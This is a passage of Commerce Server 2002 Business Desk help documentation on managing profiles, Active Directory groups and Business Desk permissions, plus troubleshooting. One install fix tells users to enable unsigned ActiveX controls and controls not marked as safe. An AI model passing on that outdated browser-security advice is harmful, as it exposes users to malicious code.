  • To edit a property that is defined as a join key that has been used to collect data, you must first delete the database column that the property is mapped to. After you delete the database columns, you must migrate the old data into the new database columns. Commerce Server 2002 does not support modifying the join key property when you have persisted data.

To edit a generic profile

  1. In Profiles, click Profile Editor.
  2. In the Profiles screen, select the profile definition of the generic profile you want to edit, and then click Open on the toolbar.
  3. In the <profile definition> screen, select the generic profile you want to edit, and then click Open on the toolbar.

    Note

    • To display a particular generic profile, you use the Find pane at the top of the <profile definition> screen. For information about finding a generic profile, see Finding a Generic Profile.
  4. In the Update Profile: <generic profile> screen, edit the generic profile.

    Note

    • For information about the Update Profile: <generic profile> screen, see Adding a Generic Profile.
  5. To save the generic profile and return to the Profiles screen, click Save and go back on the toolbar.

The edited generic profile is saved.

See Also

About Profiles

Adding a Generic Profile

Editing Multiple Generic Profiles

Editing an Embedded Generic Profiles

Copying a Generic Profile

Deleting Generic Profiles


Editing Multiple Generic Profiles

You use the Profile Editor module to edit multiple generic profiles. When you edit multiple generic profiles, you make the same changes to all of the profiles that you are editing. You use update queries to change the value of a property in multiple generic profiles.

You must have access to the Profiles modules to make changes to site terms, profile definitions, and profiles. For information about Business Desk permissions, see About Business Desk Security.

Note

  • To edit a property that is defined as a join key that has been used to collect data, you must first delete the database column that the property is mapped to. After you delete the database columns, you must migrate the old data into the new database columns. Commerce Server 2002 does not support modifying the join key property when you have persisted data.

The following procedure is based on the Address profile definition.

To edit multiple generic profiles

  1. In Profiles, click Profile Editor.
  2. In the Profiles screen, select the Address profile definition, and then click Open on the toolbar.
  3. In the Address screen, select the profiles you want to edit, and then click Open on the toolbar.

    Notes

    • To display particular generic profiles, you use the Find pane at the top of the Address screen. For information about finding a generic profile, see Finding a Generic Profile.
    • To select all of the generic profiles in the Filtered View list, click Select All. To deselect the generic profiles in the Filtered View list, click Deselect All.
    • If you click Select All to select all generic profiles in the Filtered View list, only the generic profiles on the current screen (a maximum of 20 generic profiles per screen) are selected
  4. To create a new update query, in the Update <number of profiles> profiles screen, click New, and then do the following:
    Use this | To do this
    First drop-down list (left) In the first drop-down list, select Address, select the property group, and then select the property you want to use in the update query.

    Note

    • The property type for the property you select determines the conditions that are available for your query in the second drop-down list. For example, if the property you select is of the type string, you can set the condition of your search to is equal to, contains, or begins with. If the property you select is of the type site term, you can set the condition of your search to is equal to or is not equal to.
    Second drop-down list (center) | Select the condition for the update query.
    Third drop-down list (right) Type or select the new value for the property.

    The property type for the property you selected in the first box determines the way that you enter the change for that property.

    For example, if the property you select is of the type string, type the string you are searching for in the third box. If the property you select is of type site term, click the Ellipsis button to open the Choose a Site Term dialog box, and then select the term you want to assign to the property.
  5. To create the new update query, click Apply.
  6. To create another update query, repeat steps 3 and 4.
  7. To save the update query and return to the Address screen, click Save and go back on the toolbar.

The organization profiles are saved with the new information.

See Also

About Profiles

Adding a Generic Profile

Editing an Embedded Generic Profile

Copying a Generic Profile

Deleting Generic Profiles


Editing an Embedded Generic Profile

You use the Profile Editor module to edit up to four levels (including the top level) of embedded generic profiles. You can also use the Profile Editor module to edit each profile individually.

You must have access to the Profiles modules to make changes to site terms, profile definitions, and profiles. For information about Business Desk permissions, see About Business Desk Security.

Note

  • To edit a property that is defined as a join key that has been used to collect data, you must first delete the database column that the property is mapped to. After you delete the database columns, you must migrate the old data into the new database columns. Commerce Server 2002 does not support modifying the join key property when you have persisted data.

To edit an embedded generic profile

  1. In Profiles, click Profile Editor
  2. In the Profiles screen, select the profile definition that contains the embedded profile you want to edit, and then click Open on the toolbar.
  3. In the <Profile Definition> screen, select the embedded profile you want to edit, and then click Open on the toolbar.

    Note

    • To display a particular profile, you use the Find pane at the top of the <Profile Definition> screen. For information about finding a generic profile, see Finding a Generic Profile.
  4. In the Update <profile definition>: <profile> screen, in the property that references an embedded profile, select the embedded profile you want to edit from the drop-down list, and then click Open on the toolbar.

    Note

    • To edit the next layer of an embedded profile, repeat step 4.
  5. Make the changes to the embedded profile.
  6. To save the embedded profile and return to the Update <profile definition>: <profile> screen, click Save and go back on the toolbar.
  7. To save the profile and return to the <Profile Definition> screen, click Save and go back on the toolbar.

The edited embedded profile is saved.

See Also

About Profiles

Adding a Generic Profile

Editing Generic Profiles

Copying a Generic Profile

Deleting Generic Profiles


Copying a Generic Profile

You use the Profile Editor module to copy an existing generic profile. For example, if you need to add a new generic profile that closely resembles an existing generic profile, you can copy the existing generic profile. You make the necessary changes to the profile information, and save that profile as a new generic profile.

You must have access to the Profiles modules to make changes to site terms, profile definitions, and profiles. For information about Business Desk permissions, see About Business Desk Security.

Note

  • To edit a property that is defined as a join key that has been used to collect data, you must first delete the database column that the property is mapped to. After you delete the database columns, you must migrate the old data into the new database columns. Commerce Server 2002 does not support modifying the join key property when you have persisted data.

To copy a generic profile

  1. In Profiles, click Profile Editor.
  2. In the Profiles screen, select the profile definition that contains the generic profile you want to copy, and then click Open on the toolbar.
  3. In the <profile definition> screen, select the profile you want to copy, and then click Copy on the toolbar.

    Note

    • To display a particular profile, you use the Find pane at the top of the <Profile Definition> screen. For information about finding a generic profile, see Finding a Generic Profile.
  4. In the New Profile (Copy) screen, in the General information section, change the existing information in the copied profile as appropriate for the new generic profile.
  5. To save the new generic profile and return to the <profile definition> screen, click Save and go back on the toolbar.

The new profile is saved.

See Also

About Profiles

Adding a Generic Profile

Editing Generic Profiles

Deleting Generic Profiles


Deleting Generic Profiles

You use the Profile Editor module to remove existing profiles from the Commerce Server database.

You must have access to the Profiles modules to make changes to site terms, profile definitions, and profiles. For information about Business Desk permissions, see About Business Desk Security.

Note

To delete the contents of a property that is defined as a Join key that has been used to collect data you first delete the database column that the property is mapped to.

Caution

  • A generic profile that has been deleted cannot be recovered.

To delete a generic profile

To delete multiple generic profiles

To delete an embedded generic profile

To delete a generic profile

  1. In Profiles, click Profile Editor.
  2. In the Profiles screen, select the profile definition that contains the profile you want to delete, and then click Open on the toolbar.
  3. Select the profile you want to delete, and then click Delete on the toolbar.

    Note

    • To display a particular profile, you use the Find pane at the top of the <Profile type> screen. For information about finding a generic profile, see Finding a Generic Profile.
  4. In the Delete dialog box, click Yes to delete the profile.

    The profile is deleted.

  5. To return to the Profiles screen, click Back on the toolbar.

To delete multiple generic profiles

Note

  • If you click Select All to select all generic profiles in the Filtered View list, only the generic profiles on the current screen (a maximum of 20 generic profiles per screen) are selected.
  1. In Profiles, click Profile Editor.
  2. In the Profiles screen, select the profile definition that contains the generic profiles you want to delete, and then click Open on the toolbar.
  3. In the <profile definition> screen, select the generic profiles you want to delete, and then click Delete on the toolbar.

    Notes

    • To display particular generic profiles, you use the Find pane at the top of the <profile definition> screen. For information about finding a generic profile, see Finding a Generic Profile.
    • To select all of the generic profiles in the Filtered View list, click Select All. To deselect the generic profiles in the Filtered View list, click Deselect All.
    • If you click Select All to select all generic profiles in the Filtered View list, only the generic profiles on the current screen (a maximum of 20 generic profiles per screen) are selected.
  4. In the Delete dialog box, click Yes to delete the selected generic profiles.

    The generic profiles are deleted.

  5. To return to the Profiles screen, click Back on the toolbar.

To delete an embedded generic profile

  1. In Profiles, click Profile Editor.
  2. In the Profiles screen, select the profile definition that contains the embedded profile you want to delete, and then click Open on the toolbar.
  3. In the <profile definition> screen, select the user profile that contains the embedded profile you want to delete, and then click Open on the toolbar.
  4. In the Update Profile: <generic profile> screen, open the drop-down list of the property that contains the profile you want to delete, and then select Remove profile reference.
  5. In the Delete dialog box, click Yes to delete the embedded user profile.
  6. To save the updated profile and return to the <profile definition> screen, click Save and go back on the toolbar.
  7. To return to the Profiles screen, click Back

The profile is saved, and the embedded profile is deleted from the Profiles database.

See Also

About Profiles

Adding a Generic Profile

Editing Generic Profiles

Copying a Generic Profile


Removing Users from Active Directory Groups

You use the Group Manager module to remove existing users from their Active Directory group. Group Manager is only available if you have an Active Directory deployment.

You must have access to the Profiles modules to make changes to site terms, profile definitions, and profiles. For information about Business Desk permissions, see About Business Desk Security.

To remove a user from an Active Directory group

To remove a group from an Active Directory group

To remove a user from an Active Directory group

  1. In Profiles, click Group Manager.
  2. In the Find User or Group screen, in the Find pane, select the Users option.
  3. In the Search Filter box, type the name of the user you want to remove. You can use a wildcard character (*) in the name.
  4. Click Find Now.

    If your search returns no results or more than 1,000 results, an error message appears. The results of a successful search are listed.

  5. Select the user you want to remove from an Active Directory group, and then click Open on the toolbar.
  6. In the Manage User screen, in the Groups that this user belongs to list, select the group from which you want to remove the user, and then click Remove Object on the toolbar.

    The user is removed from the selected Active Directory group.

  7. Click Back to return to the Find User or Group screen.

To remove a group from an Active Directory Group

  1. In Profiles, click Group Manager.
  2. In the Find User or Group screen, in the Find pane, select the Groups option.
  3. In the Search Filter box, type the name of the Active Directory group from which you want to remove the group. You can use a wildcard character (*) in the name.
  4. Click Find Now. If your search returns no results or more than 1,000 results, an error message appears. The results of a successful search are listed.
  5. Select the Active Directory group from which you want to remove the group, and then click Open on the toolbar.
  6. In the Manage Group screen, in the Objects that belong to this group list, select the group you want to remove, and then click Remove Object on the toolbar. Your results are saved.

    The group is removed from the selected Active Directory group.

  7. Click Back to return to the Find User or Group screen.


Business Desk Security

You use the Business Desk Permissions module to secure the Business Desk user interface. You can grant and deny Business Desk users access to specific Business Desk functionality. For example, you can specify that only certain Business Desk users can edit a given product catalog.

You grant and deny access to Business Desk functionality by using the Permissions module. The Permissions module is designed for system administrators and high-level business managers. You use the Permissions module to choose a Microsoft Windows account or group, and then grant and deny Business Desk permissions for that group of users.

This section contains:

  • Workflow for Security. Illustrates the workflow for setting and managing Business Desk user access.
  • About Business Desk Security. Describes Business Desk security and how you use it to limit user access.
  • Best Practices for Permissions. Provides important information about granting permissions to Business Desk users.
  • Creating Windows Accounts. Explains how to add Windows accounts for Business Desk users.
  • Adding Windows Accounts to the Account List. Explains how to add Windows accounts to the Permissions module account list.
  • Setting Business Desk Permissions for Windows Accounts. Explains how to grant, deny, or change Business Desk permissions for Windows accounts.
  • Removing Windows Accounts from the Accounts List. Explains how to remove Windows accounts from the Permissions module account list.
  • Viewing Account Permissions. Explains how to view and manage account permissions.


Workflow for Security

The following figure illustrates a sample scenario in which your system administrator creates Windows accounts, and then you grant permissions by using the Business Desk Permissions module.

Workflow for Business Desk Security

  1. System administrator creates Windows accounts.
  2. Using the Business Desk Permissions module, you add Windows accounts to the Permissions module account list.
  3. You grant users permissions for creating, editing, and deleting catalogs.
  4. You grant users permissions for creating, editing, and deleting profiles.
  5. You grant users permissions for accessing Business Desk categories, modules, and tasks.

See Also

About Business Desk Security

Creating Windows Accounts

Setting Business Desk Permissions for Windows Accounts


About Business Desk Security

Microsoft Commerce Server 2002 introduces highly specific user-level and application-level security for Commerce Server Business Desk. You can use the security features in Business Desk to grant or deny permissions to access any of your profiles, catalogs, catalog categories, and properties. Moreover, you can secure your Business Desk categories and modules, and restrict tasks associated with each module.

Business Desk uses Windows accounts to authenticate users. A system administrator creates Windows user or group accounts from any Windows server. After the Windows user or group accounts are created, you can use the Business Desk Permissions module to grant or deny permissions to a group or user.

This section contains:

  • Windows User Accounts and User Groups
  • Permissions in Business Desk


Windows User Accounts and User Groups

Any individual who needs to access Windows servers must have a user account. With this account, a user can log on to a server or domain. The system administrator creates a user account by assigning a user name to an account and specifying the identification information and rights for that user. The account includes user information, group memberships, and security policy information.

System administrators can create user groups according to the Business Desk access that the users' jobs require. For example, most customer satisfaction personnel need access to the Business Desk Orders module.

By creating Windows groups, you can simultaneously grant rights and permissions to multiple users. System administrators can add other users to an existing group at any time, instantly giving those users the rights and permissions granted to the group. When system administrators create a Windows account, they can grant access to the local server (local account) or to a Windows domain (domain account).

Notes

  • If a Windows account is not in the Permissions module account list, or does not have any “allow” option assigned to it, then users assigned to that account cannot access Business Desk.
  • If the Permissions module account list contains a Windows account that no longer exists, users assigned to that account are denied access to all of the Business Desk categories and modules.

See Also

Creating Windows Accounts

Setting Business Desk Permissions for Windows Accounts

Adding Windows Accounts to the Account List

Removing Windows Accounts from the Accounts List

Viewing Account Permissions


Permissions in Business Desk

You use the Permissions module to grant and deny access to Business Desk functionality to Windows user accounts.

Permissions determine the actions a user can perform by using Business Desk. For example, you might want to grant some users permission to create catalogs, modify catalog properties, or export a product catalog. You might want to grant other users only permissions to view the product catalogs. You can grant permissions to Windows user accounts or groups.

You can grant or deny access to any of your profile properties, product catalogs, catalog categories, or catalog properties. You can secure each Business Desk category or module, and each of the tasks associated with it. Each element listed on the Security Permissions screen has two options: allow or deny.

Notes

  • The deny option always overrides the allow option; you can use this to remove permissions that a user has inherited through a group membership.

    For example, suppose Sean Chai is a member of the Catalogs Windows group, and you want to grant permission to access the Catalog Editor module to everyone in that group except Sean. You would then grant the Catalogs group permission to access the Catalog Editor module, and you would deny that permission to the account assigned to Sean. Sean could no longer access the Catalog Editor module, but he could continue to access every other module to which the Catalogs group was granted access.

  • Administrators and all members of the local Administrators group (or the Domain Administrators group if Business Desk is running on a domain controller) always have complete access to all Business Desk elements. You cannot add an administrator to the user groups.

See Also

Creating Windows Accounts

Setting Business Desk Permissions for Windows Accounts

Adding Windows Accounts to the Account List

Removing Windows Accounts from the Accounts List

Viewing Account Permissions


Best Practices for Permissions

The following best practices are for the system administrator and business manager to implement.

  • Use the Business Desk security setting for the New Report button to control both the New Report and Save Report buttons in the dynamic reports.

    If you deny users permission to create a new report, they will not be able to save a report.

    New report permissions enable a Business Desk user to save SQL report queries to the Data Warehouse. These queries will be run by anyone who runs the report. Even if users creating a report do not have permissions to run the report query directly, they can still save the report to the Data Warehouse. Users with higher SQL permissions could run the query by running the report, without realizing that they could be running a potentially damaging query.

  • To secure access to data in Analysis reports, you must apply permissions to Analysis reports and to the List Manager module.

    If users have permission to use the Campaign Manager module, they can use Campaign Manager to export a report to List Manager, and then access user data in the list.

    To secure the user data in this scenario, explicitly deny users the ability to export reports to the List Manager module.

    Important

    • A user can enter the Uniform Resource Locator (URL) for a completed report and then view it without having the appropriate Business Desk permissions. However, all the completed report names contain a GUID, and the user would have to know the exact name of the completed report to access it, because directory browsing is not allowed.
  • To secure catalog categories, use the Catalog Editor module.

    For instructions, see Editing a Category in a Base Catalog.

  • Assign permissions to allow or deny the ability to change catalog properties and create catalogs.

    Property security works across all catalogs. You cannot define property-level security on a per-catalog basis. For example, if users do not have permission to change the Description property, then they cannot change that property in any catalog, whether it is a virtual catalog or a base catalog.

    If users have permission to create a virtual catalog, then they have permission to add products to it.

    The security on categories and catalogs prevents users from editing a specific catalog or category (and the products that belong to it). It does not prevent users from including those items in a virtual catalog.

  • Review Windows accounts with Business Desk permissions before you pack a site.

    When a site is unpacked by using Commerce Server Site Packager, Windows accounts with Business Desk permissions are also unpacked.

    For example, suppose you have Commerce Server installed on one computer and you add local groups and accounts. If you pack the site and then unpack it on a different computer, the accounts will also be unpacked. When you open Business Desk, the permissions will be there.


Creating Windows Accounts

You use the Permissions module to grant and deny users access to Business Desk functionality. Before you can set Business Desk permissions, your system administrator must create Windows accounts on a Windows server or in a Windows domain.

Contact your system administrator to create the Windows user or group accounts you need. For more information about creating Windows accounts, see ''Local Users and Groups'' and ''Active Directory user and computer accounts'' in Microsoft Windows 2000 Help.

See Also

About Business Desk Security

Setting Business Desk Permissions for Windows Accounts

Adding Windows Accounts to the Account List

Removing Windows Accounts from the Accounts List

Viewing Account Permissions


Adding Windows Accounts to the Account List

Using the Permissions module, you must add Windows accounts and groups to the Permissions module account list before you can set any Business Desk permissions. The Permissions module account list contains the Windows accounts and groups created by the system administrator.

Notes

  • If a Windows account is not in the Permissions module account list, or does not have any “allow” option assigned to it, then users assigned to that account cannot access Business Desk.
  • If the Permissions module account list contains a Windows account that no longer exists, users assigned to that account are denied access to all of the Business Desk categories and modules.

To add Windows accounts to the Permissions module account list

  1. In Security, click Permissions.
  2. In the Security Permissions screen, in the Windows Account section, click Add to List.
  3. In the Add Account dialog box, type the Windows account for which you want to add permissions, and then click Add.
  4. To return to the Business Desk Welcome screen, click Back on the toolbar.

The Windows account has been added to the Permissions module account list.

See Also

About Business Desk Security

Creating Windows Accounts

Setting Business Desk Permissions for Windows Accounts

Removing Windows Accounts from the Accounts List


Setting Business Desk Permissions for Windows Accounts

You use the Permissions module to grant, deny, or change permissions to Business Desk users based on their Windows accounts. Before you can set permissions for a Windows account, you must add the account to the Permissions module account list.

You can either allow or deny access to any Business Desk category, module, or task. You can also use permissions to limit access to your catalogs, catalog properties, profiles, and profile properties.

If a Business Desk user is a member of a group that has access to entities, and you want to deny access to those entities for that particular user, then you must add that user account to the Permissions module account list and select the deny option for the task you want to secure. The deny option overrides the allow option, and you can have the benefits of using a Windows group without compromising security.

You use the deny option only when removing permissions from a specific member of a group account. To deny access to any of the Business Desk categories, modules, or tasks for the entire group, you clear the allow option.

Notes

  • If you deny users permission to create a new report, they will not be able to save a report.

    New report permissions enable a Business Desk user to save SQL report queries to the Data Warehouse. These queries will be run by anyone who runs the report. Even if users creating the report do not have permissions to run the report query directly, they can still save the report to the Data Warehouse. Users with higher SQL permissions could run the query by running the report, without realizing that they could be running some potentially damaging query.

  • By default, administrators and all members of the local Administrators group (or the Domain Administrators group if Business Desk is running on a domain controller) always have complete access to all Business Desk elements.
  • If a Business Desk user logs onto the network with a domain account that is a member of a local group on a different Business Desk Web server with permissions defined, the permissions of the local group are not granted.
  • You can deny users permission to run Analysis reports. However, if users have permission to use the Campaign Manager module, they can use Campaign Manager to export a report to List Manager, and then access user data in the list.

    To secure the user data in this scenario, explicitly deny users the ability to export reports to the List Manager module, or disable the View Reports button in the Campaign Manager module.

To set permissions for a Windows account

  1. In Security, click Permissions.
  2. In the Security Permissions screen, in the Windows Account drop-down box, select the Windows account in the Permissions module account list for which you want to add permissions.
  3. In the Security Permissions screen, in the Securable Entities section, do the following:
    Use this | To do this
    Area Entity View all the catalog and profile entities that can be secured. You can secure catalogs, catalog properties, and profile definitions.

    To secure catalog categories, use the Catalog Editor module. For instructions, see Editing a Category in a Base Catalog.
    Allow | Select this box to allow the selected Windows account or group access to the corresponding entity.
    Deny | Select this box to deny the selected Windows account or group access to the corresponding entity. The deny option overrides the allow option.
    List Accounts For the associated entity, click the Ellipsis button to view the settings for permissions across all Windows accounts that have been added to the Permissions module account list.

    In the Accounts dialog box, you can allow or deny access to the available accounts, and add new Windows accounts to the Permissions module account list.

    To add new Windows accounts, or to add or delete users from a group, contact your system administrator.
    Details Click this button to view detailed security options for each of the entities.

    The Permissions Detail: <Entity> screen displays the task that can be performed, for example, edit. It then lists every element that you can allow or deny users the ability to edit.

    Click Back Security Permissions
  4. In the Security Permissions screen, expand the Business Desk Category/Module/Task Access section, and do the following:
    Use this | To do this
    Allow | Select this box to allow the selected Windows account or group access to the corresponding entity.
    Deny | Select this box to deny the selected Windows account or group access to the corresponding entity. The deny option overrides the allow option.
    List Accounts For the associated entity, click the Ellipsis button to view the settings for permissions across all Windows accounts that have been added to the Permissions module account list.

    In the Accounts dialog box, you can allow or deny access to the available accounts, and add new Windows accounts to the Permissions module account list.

    To add new Windows accounts, or to add or delete users from a group, contact your system administrator.
    Task Permissions Click this button to view, allow, or deny permissions to perform specific tasks for the selected Business Desk module.

    The Permissions Detail: <Business Desk category> screen displays the action that can be performed, for example, new. It then lists every page and task for which you can allow or deny users the ability to create a new entity.

    For example, if you want to prevent a user from creating new entities, you choose the deny option for both New and Save&New tasks. If only the New task is denied, users will be able to create the new entity by using the Save&New task button.

    Click Back Security Permissions
  5. To save changes and return to the Business Desk Welcome screen, click Save and go back on the toolbar.

Important

  • After permissions are changed for a Business Desk user, that user must close Business Desk and then restart it for the new settings to take effect.

    If the Windows identity (groups membership, rights, ACLs, and so on) has changed for that user, the user must log off and then log on for new settings to take effect on the server. (Otherwise, the client will work correctly, but the server will not.)

See Also

About Business Desk Security

Creating Windows Accounts

Adding Windows Accounts to the Account List

Removing Windows Accounts from the Accounts List

Viewing Account Permissions


Removing Windows Accounts from the Accounts List

Using the Permissions module, you can delete Windows accounts in the Permissions module account list. After their Windows account is removed from the Permissions module account list, users cannot access Business Desk.

All permissions for a deleted account are also removed.

To remove Windows accounts from the Permissions module account list

  1. In Security, click Permissions.
  2. In the Security Permissions screen, in the Windows Account drop-down box, select the Windows account that you want to remove in the Permissions module account list, and then click Remove from the List.
  3. In the Remove Account confirmation dialog box, click Yes.
  4. To return to the Business Desk Welcome screen, click Back on the toolbar.

The Windows account has been removed from the Permissions module account list.

See Also

About Business Desk Security

Creating Windows Accounts

Setting Business Desk Permissions for Windows Accounts

Adding Windows Accounts to the Account List


Viewing Account Permissions

You use the Permissions module to manage Windows account permissions. You can view account permissions that are already set, and modify them as needed.

To view permissions for a Windows account

  1. In Security, click Permissions.
  2. In the Security Permissions screen, in the Windows Account drop-down box, select the Windows account for which you want to view permissions in the Permissions module account list.
  3. In the Security Permissions screen, in the Securable Entities section, do the following:
    Use this | To do this
    Area Entity View all the catalog and profile entities that can be secured. You can secure catalogs, catalog properties, and profile definitions.

    To secure catalog categories, use the Catalog Editor module. For instructions, see Editing a Category in a Base Catalog.
    Allow | View all the entities to which the selected Windows account or group was given full access.
    Deny | View all the entities to which the selected Windows account or group was denied access.
    List Accounts For the associated entity, click the Ellipsis button to view the settings for permissions across all Windows accounts that have been added to the Permissions module account list.

    In the Accounts dialog box, you can allow or deny access to the available accounts, and add new Windows accounts to the Permissions module account list.

    To add new Windows accounts, or to add or delete users from a group, contact your system administrator.
    Details Click Details Ellipsis to view detailed security options for each of the entities.

    The Permissions Detail: <Entity> screen displays the task that can be performed, for example, edit. It then lists every element that you can allow or deny users the ability to edit.

    Click Back Security Permissions
  4. In the Security Permissions screen, expand the Business Desk Category/Module/Task Access section, and do the following:
    Use this | To do this
    Allow | View all the entities to which the selected Windows account or group was given full access.
    Deny | View all the entities to which the selected Windows account or group was denied access.
    List Accounts For the associated entity, click the Ellipsis button to view the settings for permissions across all Windows accounts that have been added to the Permissions module account list.

    In the Accounts dialog box, you can allow or deny access to the available accounts, and add new Windows accounts to the Permissions module account list.

    To add new Windows accounts, or to add or delete users from a group, contact your system administrator.
    Task Permissions Click this button to view, allow, or deny permissions to perform specific tasks for the selected Business Desk module.

    The Permissions Detail: <Business Desk category> screen displays the action that can be performed, for example, new. It then lists every page and task for which you can allow or deny users the ability to create new entities.

    For example, if you want to prevent a user from creating new entities, you choose the deny option for both New and Save&New tasks. If only the New task is denied, users will be able to create the new entity by using the Save&New task button.

    Click Back Security Permissions
  5. To save your changes and return to the Business Desk Welcome screen, click Save and go back on the toolbar.

See Also

About Business Desk Security

Creating Windows Accounts

Adding Windows Accounts to the Account List

Setting Business Desk Permissions for Windows Accounts

Removing Windows Accounts from the Accounts List


Troubleshooting Business Desk

This section addresses common problems you might encounter while using Commerce Server Business Desk. For each feature area, a brief description of the problem is provided, as well as a link for more detailed information.

Your first contact for technical support is typically your system administrator or your site developer. In addition, you can access Microsoft online newsgroups. For more information about Commerce Server 2002 newsgroups, see http://go.microsoft.com/fwlink/?LinkId=945.

This section contains:

  • Troubleshooting General Business Desk Issues. Describes problems you might encounter while installing or managing the Business Desk, and offers possible solutions.
  • Troubleshooting Business Desk Analysis. Describes problems you might encounter while creating and managing reports, and offers possible solutions.
  • Troubleshooting Business Desk Campaigns. Describes problems you might encounter while creating and managing your Business Desk campaigns, and offers possible solutions.
  • Troubleshooting Business Desk Catalogs. Describes problems you might encounter while creating and managing your Business Desk catalogs, and offers possible solutions.
  • Troubleshooting Business Desk Profiles. Describes problems you might encounter while creating and managing your Business Desk profiles, and offers possible solutions.


Troubleshooting General Business Desk Issues

  • Business Desk does not install
  • &#13; appears in Description boxes
  • "Library not registered" message appears
  • Business Desk does not run
  • User not authorized to view page - reauthentication request
  • Received "Business Desk Access Error" error message
  • Received "Error in Commerce Administration Object: Description GlobalConfig:Initialize: Login failed for user <user name>" error message
  • Changes do not appear on the Web site
  • Cannot open two instances of the same Business Desk
  • Full Text search in Help does not return search results
  • Dates appear incorrectly
  • Changing the administrative password disconnects the Business Desk client
  • Authentication error occurs when a new user is added to Active Directory
  • Changed configuration is not reflected if you stop and restart your Web site
  • Data does not appear in List Manager or Users module
  • "Library not registered" or other problems with regexp
  • Users with Administrator rights cannot access Business Desk data
  • Run-time errors occur when you access Business Desk
  • Internet Explorer cannot open the Internet site
  • XML Catalog Import fails after changing the cluster group from a SQL cluster administrator
  • Search function in Help does not return search results
  • Changing system date separators returns an error


Business Desk does not install

When you attempt to connect to the Commerce Server Business Desk Web site to install the Business Desk client, the following message might appear.

Business Desk Install Error

Solution

If you are using Windows XP and Internet Explorer 6.0, you must enable Download signed Active Xcontrols and Download Unsigned ActiveX controls.

If you are using another operating system and Internet Explorer, enable only Download signed Active Xcontrols.

To continue the Business Desk setup

  1. In Internet Explorer, click Tools, and then click Internet Options.
  2. Click the Security tab, select Local intranet zone and click Custom Level.
  3. In the Settings list box, below ActiveX controls and plug-ins, enable Download signed ActiveX controls. If you are using Windows XP and Internet Explorer 6.0, also enable Download Unsigned ActiveX controls and Initialize and script ActiveX controls not marked as safe.
  4. Click OK, and in the Warning! dialog box click Yes.
  5. Click OK to close the Internet Options dialog box.
  6. Click Refresh on the toolbar, and then continue installing Business Desk by typing the URL for Business Desk into the browser window. For example, http://<servername>/myretailbizdesk.


&#13; appears in Description boxes

You type several lines in a Description box, or other box, and then click Save and go back on the toolbar. The Description column for the new product you created has &#13; for every carriage return in the box.

Solution

This is not an error. Commerce Server converts database carriage returns to &#13; for data that is sent to the Business Desk client. When the data is displayed, Commerce Server converts &#13; back to carriage returns.


Library not registered message appears

You receive the message "Library not registered" while using Commerce Server Business Desk.

Solution

You might need to re-register the Vbscript.dll found in the \winnt\system32 directory. Contact your system administrator for assistance.


Business Desk does not run

Although you have been running Commerce Server Business Desk without incident, you receive one of the following error messages when you attempt to start it:

  • Errors occurred while loading part of the Business Desk.
  • Errors while loading Business Desk application.

Solution

If the system administrator password has changed on the Web server hosting the Business Desk application, that change might result in one of these error messages.

You must change the password in Component Services and then save the Global.asa file. You must also change the password for Commerce Server services such as List Manager and Direct Mailer. Contact your system administrator for assistance. For more information about changing the password in Component Services and saving the Global.asa file, see Changing the administrative password disconnects the Business Desk client.


User not authorized to view page - reauthentication request

Send feedback about this page Commerce Server 2002

User not authorized to view page – reauthentication request

You cannot view a page in Commerce Server Business Desk due to one of the following conditions:

  • Business Desk unexpectedly displays a request for your user name and password.
  • You receive an error message stating that the user is not authorized to view the page.
  • The Enter Network Password dialog box reappears after you have entered the correct logon information.

Solution

If your Business Desk is running on a different Web server than Commerce Server, the one running Commerce Server might be out of memory. Contact your system administrator for assistance.


Received Business Desk Access Error message

Although you have been running Commerce Server Business Desk without incident, you are unable to start Business Desk. When you attempt to open a particular module, you receive the message:

Business Desk Access Error.

Solution

The module you are attempting to open requires user rights that you do not have. Contact your system administrator to have these access rights granted.


Received Error in Commerce Administration Object: Description GlobalConfig:Initialize: Login failed for user <user name> error message

You are using the Segment Viewer and the Predictor service is running using a local account.

Solution

Change the Predictor service to use a domain account. For more information, see Deploying Commerce Server Using Windows Authentication.


Changes do not appear on the Web site

You have made changes in Commerce Server Business Desk, but when you view your Web site, these changes do not appear.

Solution

You might need to refresh Commerce Server caches. To do so, use the Publish Campaigns module, Publish Transactions module, or Publish Profiles module to update your site. You might also need to publish catalogs by using the Publish toolbar button in the Catalog Editor module.


Cannot open two instances of the same Business Desk

You attempt to open two instances of the same Commerce Server Business Desk client for the same site on your computer, but Business Desk does not open.

Solution

You cannot open two instances of the same Business Desk client for the same site on your computer. However, you can run two Business Desk clients for different sites at the same time.


Full Text search in Help does not return search results

When you do a search in Commerce Server Business Desk Help, the search does not return any results.

Solution

Contact your system administrator to start the Indexing Service on the Web server hosting the Business Desk application. The Indexing Service should always be set to Autostart, because there might be significant lag time between when the Indexing Service starts and when the folder holding the Help content is available.


Dates appear incorrectly

When your system administrator changes the date separator from a slash mark (/) to a different separator, for example, a hyphen (-), dates in Commerce Server Business Desk appears incorrectly.

Solution

After the date separator is changed, your system administrator must restart the Business Desk application.


Changing the administrative password disconnects the Business Desk client

If you change the administrative password on the server on which Commerce Server Business Desk is installed, errors appear when the Business Desk client computers attempt to access Business Desk. The following error messages might appear:

  • Errors occurred while loading part of the Business Desk.
  • Errors while loading Business Desk application.

Solution

When you change the Commerce Server administrative password on the server, you must also change the password in Component Services and then save the Global.asa file.

To change the password in Component Services

  1. Click Start, point to Programs, point to Administrative Tools, and then click Component Services.
  2. Expand the nodes to the following path: Component Services/Computers/My Computer/COM+Applications/Commerce Event Logging.
  3. Right-click Commerce Event Logging, and then click Properties.
  4. In the Commerce Event Logging Properties dialog box, on the Identity tab, in the Password box, type the new password.
  5. In the Confirm password box, type the new password again, and then click OK.

The password is updated, and Business Desk now opens.

To save the Global.asa file

  1. Navigate to the Business Desk virtual directory. For example, C:\Inetpub\wwwroot\Retailbusinessdesk.
  2. Open the Global.asa file in Notepad.
  3. To save your password changes, on the File menu, click Save, and then click Exit.

Changes to the Global.asa file are saved. All users must now close and re-open Business Desk to update the password changes.

Note

  • You must also change the password for Commerce Server services such as List Manager and Direct Mailer, and the Predictor resource.

See Also

Changing a Service Account or Password


Authentication error occurs when a new user is added to Active Directory

If you are storing user data in Active Directory, you may receive the following error message when you attempt to add a new user from a remote Business Desk client:

Error: Failed to insert user due to invalid user credentials.

This error occurs if the remote Business Desk client is using the IP address for the Business Desk application, for example, http://172.30.250.91/supplieradbizdesk.

Solution

On the client computer, reinstall the Business Desk client using the computer name instead of the IP address, for example, http://csserver1/supplieradbizdesk.


Changed configuration is not reflected if you stop and restart your Web site

If you change the configuration of Commerce Server Business Desk and then stop and start your Web site, Business Desk is not updated with those changes. The application is not reloaded and it still uses the old .xml files.

Solution

